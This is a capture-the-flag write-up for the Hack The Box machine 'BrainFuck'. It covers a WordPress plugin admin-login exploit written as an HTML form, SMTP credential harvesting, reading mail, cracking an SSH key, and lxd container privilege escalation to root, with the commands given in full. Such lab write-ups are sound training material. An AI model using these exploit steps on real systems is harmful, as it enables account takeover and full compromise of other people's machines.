# BrainFuck

## Gaining Access

Nmap scan:

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/w4gP9yAAneJv72qkC8Gf/image.png" alt=""><figcaption></figcaption></figure>

We can add `brainfuck.htb` to our `/etc/hosts` file and visit the HTTP wesbites.

### Wordpress Ticket System

Website revealed a Wordpress site:

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/6SmbFwoVwdWq2r6wCWmu/image.png" alt=""><figcaption></figcaption></figure>

Because this was a HTTPS website, we can take a look at the certificate first to find an email address.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/alLgouF3JBG0ieWxnQVN/image.png" alt=""><figcaption></figcaption></figure>

Looking at the alternate DNS names, we can find another hidden subdomain, which we'll visit later.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/Ovbo2mJp4KxORyVTPY76/image.png" alt=""><figcaption></figcaption></figure>

We can run `wpscan --enumerate p,t,u` on this website. This returns a plugin that is outdated and exploitable.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/3mrMw4Dc0bhww5qXQ0Av/image.png" alt=""><figcaption></figcaption></figure>

For this version, there are SQL Injection and Privilege Escalation exploits available.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/rVWJKvJFGlZZ9dRD4gpZ/image.png" alt=""><figcaption></figcaption></figure>

Based on the PoC for the Privilege Escalation one, we have to create some HTML code that would allow us to login as the administrator. Earlier, we found an email address for the user `orestis`. We can use that for our exploit.

Here's the HTML frames we need:

```markup
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="admin">
        <input type="hidden" name="email" value="orestis@brainfuck.htb">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>
```

Afterwards, we just need to set this up on a Python server and visit the site. The username is based on the username of the first post we saw.&#x20;

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/gcysWw0838wVrmdDy5fv/image.png" alt=""><figcaption></figcaption></figure>

Initially, nothing happens when we click the login button, however after refreshing the page, we are notified that we have logged in as the administrator.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/iPYiWIJyhCgOwsiJTHaZ/image.png" alt=""><figcaption></figcaption></figure>

### SMTP Creds

When viewing the plugins, we can find another plugin that enables SMTP on the Wordpress site.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/BbuCd33aFR7Gr7HUuRY0/image.png" alt=""><figcaption></figcaption></figure>

When viewing the SMTP configuration settings, we can find the username and password for port 110.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/SyLvdWepV3KkpQxbqtXx/image.png" alt=""><figcaption></figcaption></figure>

The password can be taken by viewing the page source to reveal the hidden value.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/6qzjrmfAhf60Pnwls5OA/image.png" alt=""><figcaption></figcaption></figure>

We can then proceed to enumerate the SMTP instance.

### Reading Emails

We can sign in to the service on port 110.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/xsc5plIyW9nPdIqpYQYX/image.png" alt=""><figcaption></figcaption></figure>

Then, we can view the messages sent using `list`.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/5rrSUa6rYyNDbblpay8z/image.png" alt=""><figcaption></figcaption></figure>

We can read both the emails, and one of them has credentials for a forum page.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/7Mo1bxltKYScSayxeUPu/image.png" alt=""><figcaption></figcaption></figure>

These are probably credentials for the secret subdomain we found earlier.&#x20;

### Forum Page&#x20;

We can login to the forum page here using the credentials we found earlier. Then, we can view the pages that are present.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/dl8QXEvJ4gwko7pvxXMO/image.png" alt=""><figcaption></figcaption></figure>

Some of the forum pages mention sending SSH keys somehow.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/IzRzoXMSdj8jZ2z5Gas6/image.png" alt=""><figcaption></figcaption></figure>

There was also an encrypted few posts.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/WuedjgfKjKrTPcXZ4UJi/image.png" alt=""><figcaption></figcaption></figure>

There was clearly a URL within that, and it seems that numbers **are not being scrambled**. This means this is a letter-only cipher. After a bit of research and testing on CyberChef, Vignere cipher is the one used here.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/mj2YHKiDEIctEWn2GtER/image.png" alt=""><figcaption></figcaption></figure>

Then, we can head to that website to find the `id_rsa` file for `orestis`.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/orC6xZ82tEWkgV2ifMhu/image.png" alt=""><figcaption></figcaption></figure>

The file is password encrypted, so we have to use `ssh2john.py` to convert this to a hash for `john` to crack.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/LlafTGk5tupvIrdgOhAf/image.png" alt=""><figcaption></figcaption></figure>

Then we can use `openssl rsa` to write the key out.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/Yvqk8FSETJ9qYOETdJPd/image.png" alt=""><figcaption></figcaption></figure>

Afterwards, we can simply SSH in using this key.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/wvWQ3Bng6xCXY2NmnyO0/image.png" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### lxd

When enumerating using LinPEAS, we can see that the user is part of the `lxd` group.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/f0Y0FIptmcBXg5xTBKMY/image.png" alt=""><figcaption></figcaption></figure>

Being part of this group means that we can create and manage extra containers for this machine. The exploit path is to create a container where we have root privileges and it is mounted onto the main disk.

{% embed url="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation" %}

I downloaded an alpine distro to the machine. Then, we can execute the commands from HackTricks:

```bash
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default 
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```

The last command would drop us into a root shell, where the `/root` directory has been mounted and we can grab the root flag.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/BuG3vivbzVtoCPzPyW9c/image.png" alt=""><figcaption></figcaption></figure>
